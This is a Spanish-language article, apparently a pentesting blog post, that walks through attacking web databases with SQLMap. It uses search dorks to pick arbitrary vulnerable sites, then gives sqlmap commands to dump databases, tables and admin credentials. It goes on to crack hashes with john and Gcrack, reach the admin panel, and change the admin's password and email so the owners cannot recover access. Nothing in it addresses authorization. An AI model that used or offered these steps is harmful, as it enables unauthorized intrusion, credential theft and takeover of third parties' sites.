
Artículo · Pentesting
Ataque de una Base de Datos con SQLMap
Historia
SQLMap es una herramienta para explotar la vulnerabilidad de SQL injection. Esta técnica se puede usar para realizar un ataque a una base de datos como la de una tienda virtual o incluso para páginas web que tengan esta vulnerabilidad.
Para realizar un ataque a la base de datos de una tienda virtual o página web se tienen que realizar los siguientes pasos:
Al ataque
1. Se recomienda usar el dork .php?id=101 o cualquier otro número en Bing antes que en Google (porque da mejores resultados y además no te pide un capcha cuando estás utilizando continuamente dorks) para encontrar páginas con posibles vulnerabilidades SQL Injection o utilizar una herramienta como Acunetix o Vega que es Open Source y trabaja en Linux(posteriormente creare otro artículo sobre esta magnífica y simple herramienta) para asegurarnos que esa página tiene esa vulnerabilidad ,una de las más importantes dentro de las vulnerabilidades de las aplicaciones web y páginas según OWASP.
Búsqueda de dorks
2. Una vez encontremos una página con esta vulnerabilidad podemos saber que DBMS es provocando un error añadiendo al final de la URL ´ y dependiendo de la librería es una DBMS u otra:
Si nos aparece la siguiente información es una BD SQL Server
System.Data.SqlClient.SqlException
Si aparece la siguiente información es una BD MYSQL
mysql_fetch_array
Si aparece la siguiente información es una BD Oracle
java.sql.sqlException
3. Arrancamos sqlmap y podemos ver sus opciones con sqlmap -h
Vista de sql map
4. Para obtener las Base de datos del DBMS se usa el comando
sqlmap -u http://paginaweb.php?id=numero –dbs
Si buscamos aplicaciones escritas en php si no en .net seria .aspx?id=numero; te dirá la BD y te preguntara si quieres probar con más id vulnerables y si ralentizar el ataque para no ser detectado por un IDS le dices a todo que yes
Inyección a la base de datos
5. Para ver las tablas de una BD seria:
sqlmap -u paginaweb.php?id=numero –random-agent -level 5 -D condadonew --tables;
random-agent es para que utilice distintos agentes y level 5 es el máximo nivel de consultas
Base de datos
6. Para ver las columnas de una tabla, por ejemplo, de la tabla usuario_admin:
sqlmap -u http://paginaweb.php?id=101 -–random-agent -level 5 -D -D condadonew -D condadonew -T usuario_admin –columns
Base de datos
7. Para ver el valor de una columna, por ejemplo, la clave:
sqlmap -u http://paginaweb.php?id=101 -D condadonew -T usuario_admin -C clave –dump
Contenido de la base de datos
8. Para ver el valor de la columna usuario:
sqlmap -u http://paginaweb.php?id=101 -D condadonew -T usuario_admin -C usuario –dump
Contenido de la base de datos
9. En este caso la clave no tiene un hash, pero si lo tuviera tendríamos que ejecutar en otro Shell hash-identifier para saber el tipo de hash
10. Ejecutando john de ripper suponiendo que es un hash md5:
john–format=raw_md5 archivoconhash
Obtendríamos el password
10. Solo necesitaríamos encontrar el login del administrador con un dork como inurl:admin inurl:login en google para poder acceder a la zona de administrador
11. Deberíamos cambiar el usuario, la contraseña y el email para que no puedan recuperar la contraseña
Notas
Si la DBMS tuviera más BD, para saber los usuarios de todas las bases de datos seria
sqlmap -u http://paginaweb.php?id=101 –-users
Para saber los hash de esos usuarios de las BD seria
sqlmap -u http://paginaweb.php?id=101 –-passwords
Esto automaticamente intenta crackear el hash con el diccionario de SQLMap, pero si no lo consigue podemos utilizar la aplicación Gcrack
si no conseguimos la contraseña del admin podemos ir a phpmyadmin si lo tiene y utilizar esa contraseña si la sacamos.
Gcrack
Esta aplicación permite romper los hashes md5, sha1, sha224, sha256, sha384, sha512 y ntlm
Para instalar este programa deberemos tener en nuestro sistema operativo Python, y también el paquete python-lxml. De manera opcional podemos instalar python-nltk para mejorar la velocidad del crackeo de las contraseñas
Hay que ejecutar este comando para todas las posibles dependencias
pip install nltk google requests BeautifulSoup
Este programa se puede instalar y ejecutar en cualquier sistema operativo gracias a que está escrito en Python, mientras que tengamos el intérprete instalado podremos utilizarlo sin ningún problema.
Para descargarlo podemos utilizar
git clone https://github.com/tkisason/gcrack.git
Ahora ingresamos al directorio
cd gcrack
Lo ejecutamos ./gcrack.py archivo.txt y le pasamos los hashes en un archivo, utiliza Google para encontrar la contraseña
esta también permite crear un archivo con hashes a partir de un diccionario
./gwordlist.py rockyou.txt roockyouhashes.txt
rockyou es un diccionario bastante famoso en internet para realizar un ataque de fuerza bruta por lo que combinado con generación de hashes pueden servir para realizar ataques de rainbow table
¿Quieres aprender estas técnicas en profundidad?
Continúa tu ruta con Penetration Testing Student.

Escrito por
Alejandro Canosa Ferreiroamo la seguridad informática y el open source;estoy certificado en COMPTIA SECURITY+



